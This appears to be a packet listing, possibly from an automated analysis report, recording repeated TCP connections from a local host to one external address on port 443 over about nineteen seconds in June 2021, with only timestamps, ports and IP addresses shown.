Jun 29, 2021 17:41:33.797554970 CEST	49232	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:33.957247972 CEST	443	49232	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:34.337824106 CEST	443	49232	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:34.337955952 CEST	49232	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:34.338123083 CEST	443	49232	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:34.338180065 CEST	49232	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:34.338968039 CEST	49232	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:34.341419935 CEST	49233	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:34.496436119 CEST	443	49232	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:34.502866983 CEST	443	49233	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:34.503031015 CEST	49233	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:34.503523111 CEST	49233	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:34.665044069 CEST	443	49233	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:34.665909052 CEST	443	49233	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:34.666084051 CEST	49233	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:34.666656971 CEST	49233	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:34.675932884 CEST	49233	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:34.854556084 CEST	443	49233	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:35.252087116 CEST	443	49233	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:35.252194881 CEST	443	49233	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:35.252331018 CEST	49233	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:35.252696991 CEST	49233	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:35.252804995 CEST	49233	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:35.254928112 CEST	49234	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:35.412036896 CEST	443	49234	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:35.412251949 CEST	49234	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:35.412887096 CEST	49234	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:35.414141893 CEST	443	49233	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:35.570647001 CEST	443	49234	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:35.571181059 CEST	443	49234	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:35.571326971 CEST	49234	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:35.571981907 CEST	49234	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:35.580944061 CEST	49234	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:35.738114119 CEST	443	49234	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:36.135828972 CEST	443	49234	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:36.135983944 CEST	49234	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:36.136064053 CEST	443	49234	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:36.136146069 CEST	49234	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:36.137454987 CEST	49234	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:36.141134024 CEST	49235	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:36.294415951 CEST	443	49234	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:36.302005053 CEST	443	49235	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:36.302190065 CEST	49235	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:36.302870989 CEST	49235	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:36.463280916 CEST	443	49235	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:36.463941097 CEST	443	49235	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:36.464020967 CEST	49235	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:36.464384079 CEST	49235	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:36.467930079 CEST	49235	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:36.628367901 CEST	443	49235	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:37.037580967 CEST	443	49235	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:37.037785053 CEST	49235	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:37.038197994 CEST	443	49235	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:37.038271904 CEST	49235	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:37.039671898 CEST	49235	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:37.042211056 CEST	49236	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:37.200103045 CEST	443	49235	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:37.203840017 CEST	443	49236	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:37.203917980 CEST	49236	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:37.205018997 CEST	49236	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:37.366357088 CEST	443	49236	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:37.367225885 CEST	443	49236	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:37.367362022 CEST	49236	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:37.368110895 CEST	49236	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:37.376521111 CEST	49236	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:37.539323092 CEST	443	49236	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:37.963690042 CEST	443	49236	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:37.963897943 CEST	49236	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:37.964066982 CEST	443	49236	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:37.964149952 CEST	49236	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:37.964864016 CEST	49236	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:37.967463970 CEST	49237	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:38.126359940 CEST	443	49236	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:38.128659964 CEST	443	49237	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:38.128851891 CEST	49237	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:38.130301952 CEST	49237	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:38.291438103 CEST	443	49237	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:38.292213917 CEST	443	49237	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:38.292356968 CEST	49237	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:38.293149948 CEST	49237	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:38.301543951 CEST	49237	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:38.462852001 CEST	443	49237	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:38.856089115 CEST	443	49237	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:38.856301069 CEST	49237	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:38.856435061 CEST	443	49237	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:38.856538057 CEST	49237	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:38.857019901 CEST	49237	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:38.858814955 CEST	49238	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:39.016475916 CEST	443	49238	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:39.016702890 CEST	49238	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:39.017939091 CEST	49238	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:39.018070936 CEST	443	49237	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:39.175184011 CEST	443	49238	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:39.175892115 CEST	443	49238	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:39.175981998 CEST	49238	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:39.176702976 CEST	49238	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:39.185744047 CEST	49238	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:39.343074083 CEST	443	49238	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:39.764663935 CEST	443	49238	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:39.764919043 CEST	49238	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:39.764998913 CEST	443	49238	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:39.765079975 CEST	49238	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:39.765911102 CEST	49238	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:39.768799067 CEST	49239	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:39.923782110 CEST	443	49238	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:39.929023981 CEST	443	49239	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:39.929248095 CEST	49239	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:39.930385113 CEST	49239	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:40.090241909 CEST	443	49239	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:40.090930939 CEST	443	49239	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:40.091147900 CEST	49239	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:40.091748953 CEST	49239	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:40.097975016 CEST	49239	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:40.257687092 CEST	443	49239	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:40.645765066 CEST	443	49239	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:40.645968914 CEST	49239	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:40.645973921 CEST	443	49239	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:40.646024942 CEST	49239	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:40.646505117 CEST	49239	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:40.649454117 CEST	49240	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:40.806135893 CEST	443	49239	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:40.810138941 CEST	443	49240	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:40.810458899 CEST	49240	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:40.811568975 CEST	49240	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:40.972341061 CEST	443	49240	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:40.973047018 CEST	443	49240	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:40.973220110 CEST	49240	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:40.974045038 CEST	49240	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:40.982501030 CEST	49240	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:41.143275023 CEST	443	49240	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:41.571214914 CEST	443	49240	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:41.571392059 CEST	49240	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:41.571485043 CEST	443	49240	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:41.571574926 CEST	49240	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:41.572397947 CEST	49240	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:41.575107098 CEST	49241	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:41.735044956 CEST	443	49240	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:41.738894939 CEST	443	49241	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:41.739052057 CEST	49241	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:41.739700079 CEST	49241	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:41.901181936 CEST	443	49241	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:41.916655064 CEST	443	49241	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:41.916824102 CEST	49241	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:41.917711973 CEST	49241	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:41.926573038 CEST	49241	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:42.088885069 CEST	443	49241	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:42.514990091 CEST	443	49241	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:42.515185118 CEST	49241	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:42.515552044 CEST	443	49241	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:42.515630007 CEST	49241	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:42.516119003 CEST	49241	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:42.518996954 CEST	49242	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:42.678879023 CEST	443	49241	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:42.681879997 CEST	443	49242	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:42.681957960 CEST	49242	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:42.682732105 CEST	49242	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:42.845266104 CEST	443	49242	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:42.846048117 CEST	443	49242	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:42.846261024 CEST	49242	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:42.847012997 CEST	49242	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:42.855340958 CEST	49242	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:43.017188072 CEST	443	49242	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:43.418447018 CEST	443	49242	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:43.418730021 CEST	443	49242	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:43.419269085 CEST	49242	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:43.419306040 CEST	49242	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:43.419683933 CEST	49242	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:43.422308922 CEST	49243	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:43.579643011 CEST	443	49243	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:43.579772949 CEST	49243	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:43.581315994 CEST	49243	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:43.581326008 CEST	443	49242	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:43.738007069 CEST	443	49243	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:43.738873005 CEST	443	49243	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:43.739115000 CEST	49243	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:43.739564896 CEST	49243	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:43.743958950 CEST	49243	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:43.900702000 CEST	443	49243	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:44.301917076 CEST	443	49243	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:44.302048922 CEST	49243	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:44.302239895 CEST	443	49243	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:44.302309990 CEST	49243	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:44.302966118 CEST	49243	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:44.305435896 CEST	49244	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:44.459686041 CEST	443	49243	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:44.466223001 CEST	443	49244	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:44.466372967 CEST	49244	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:44.467415094 CEST	49244	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:44.628205061 CEST	443	49244	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:44.628854036 CEST	443	49244	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:44.629024982 CEST	49244	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:44.629673004 CEST	49244	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:44.639061928 CEST	49244	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:44.800774097 CEST	443	49244	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:45.205492020 CEST	443	49244	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:45.205683947 CEST	49244	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:45.205848932 CEST	443	49244	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:45.205900908 CEST	49244	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:45.206646919 CEST	49244	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:45.209098101 CEST	49245	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:45.368897915 CEST	443	49244	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:45.371687889 CEST	443	49245	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:45.371874094 CEST	49245	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:45.372594118 CEST	49245	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:45.534110069 CEST	443	49245	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:45.534914017 CEST	443	49245	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:45.535151005 CEST	49245	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:45.535797119 CEST	49245	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:45.544840097 CEST	49245	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:45.706330061 CEST	443	49245	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:46.099262953 CEST	443	49245	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:46.099313021 CEST	443	49245	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:46.099442005 CEST	49245	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:46.099487066 CEST	49245	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:46.101242065 CEST	49245	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:46.107428074 CEST	49246	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:46.262615919 CEST	443	49245	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:46.268912077 CEST	443	49246	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:46.269069910 CEST	49246	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:46.270205021 CEST	49246	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:46.431689978 CEST	443	49246	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:46.432296991 CEST	443	49246	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:46.432360888 CEST	49246	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:46.432773113 CEST	49246	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:46.436567068 CEST	49246	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:46.598203897 CEST	443	49246	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:46.977942944 CEST	443	49246	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:46.978040934 CEST	443	49246	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:46.978183985 CEST	49246	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:46.979180098 CEST	49246	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:46.979317904 CEST	49246	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:46.981766939 CEST	49247	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:47.140768051 CEST	443	49246	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:47.145968914 CEST	443	49247	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:47.146167040 CEST	49247	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:47.147211075 CEST	49247	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:47.307949066 CEST	443	49247	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:47.308808088 CEST	443	49247	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:47.308981895 CEST	49247	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:47.309638977 CEST	49247	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:47.319293022 CEST	49247	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:47.480077028 CEST	443	49247	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:47.888308048 CEST	443	49247	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:47.888428926 CEST	443	49247	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:47.888472080 CEST	49247	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:47.888515949 CEST	49247	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:47.889086008 CEST	49247	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:47.890404940 CEST	49248	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:48.049879074 CEST	443	49247	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:48.050543070 CEST	443	49248	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:48.050687075 CEST	49248	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:48.051430941 CEST	49248	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:48.211955070 CEST	443	49248	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:48.212431908 CEST	443	49248	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:48.212598085 CEST	49248	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:48.213186026 CEST	49248	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:48.220493078 CEST	49248	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:48.380860090 CEST	443	49248	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:48.760426998 CEST	443	49248	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:48.760674000 CEST	49248	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:48.760734081 CEST	443	49248	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:48.760891914 CEST	49248	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:48.761559963 CEST	49248	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:48.763972044 CEST	49249	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:48.921277046 CEST	443	49249	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:48.921365023 CEST	49249	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:48.921555996 CEST	443	49248	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:48.922048092 CEST	49249	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:49.079288006 CEST	443	49249	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:49.079907894 CEST	443	49249	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:49.080132961 CEST	49249	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:49.080881119 CEST	49249	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:49.091070890 CEST	49249	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:49.248420954 CEST	443	49249	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:49.650613070 CEST	443	49249	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:49.650708914 CEST	49249	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:49.650851965 CEST	443	49249	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:49.650922060 CEST	49249	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:49.651746988 CEST	49249	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:49.652772903 CEST	49250	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:49.809173107 CEST	443	49249	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:49.811060905 CEST	443	49250	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:49.811284065 CEST	49250	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:49.812263966 CEST	49250	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:49.969012976 CEST	443	49250	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:49.969633102 CEST	443	49250	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:49.969738960 CEST	49250	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:49.970684052 CEST	49250	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:49.979559898 CEST	49250	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:50.137120008 CEST	443	49250	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:50.528817892 CEST	443	49250	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:50.529014111 CEST	49250	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:50.529299021 CEST	443	49250	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:50.529375076 CEST	49250	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:50.529994011 CEST	49250	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:50.532574892 CEST	49251	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:50.686602116 CEST	443	49250	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:50.689650059 CEST	443	49251	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:50.689795017 CEST	49251	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:50.690781116 CEST	49251	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:50.848006964 CEST	443	49251	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:50.848481894 CEST	443	49251	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:50.848617077 CEST	49251	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:50.849498034 CEST	49251	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:50.857238054 CEST	49251	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:51.014534950 CEST	443	49251	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:51.408353090 CEST	443	49251	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:51.408399105 CEST	443	49251	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:51.408684015 CEST	49251	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:51.409441948 CEST	49251	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:51.412790060 CEST	49252	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:51.568286896 CEST	443	49251	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:51.572170973 CEST	443	49252	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:51.572354078 CEST	49252	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:51.573359013 CEST	49252	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:51.731508970 CEST	443	49252	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:51.731564045 CEST	443	49252	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:51.731712103 CEST	49252	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:51.732398033 CEST	49252	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:51.741427898 CEST	49252	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:51.899940968 CEST	443	49252	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:52.295255899 CEST	443	49252	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:52.295310974 CEST	443	49252	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:52.295598030 CEST	49252	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:52.296586037 CEST	49252	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:52.299007893 CEST	49253	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:52.454513073 CEST	443	49252	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:52.460486889 CEST	443	49253	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:52.460602045 CEST	49253	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:52.461252928 CEST	49253	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:52.624979019 CEST	443	49253	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:52.625017881 CEST	443	49253	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:52.627382994 CEST	49253	443	192.168.2.22	108.179.232.80
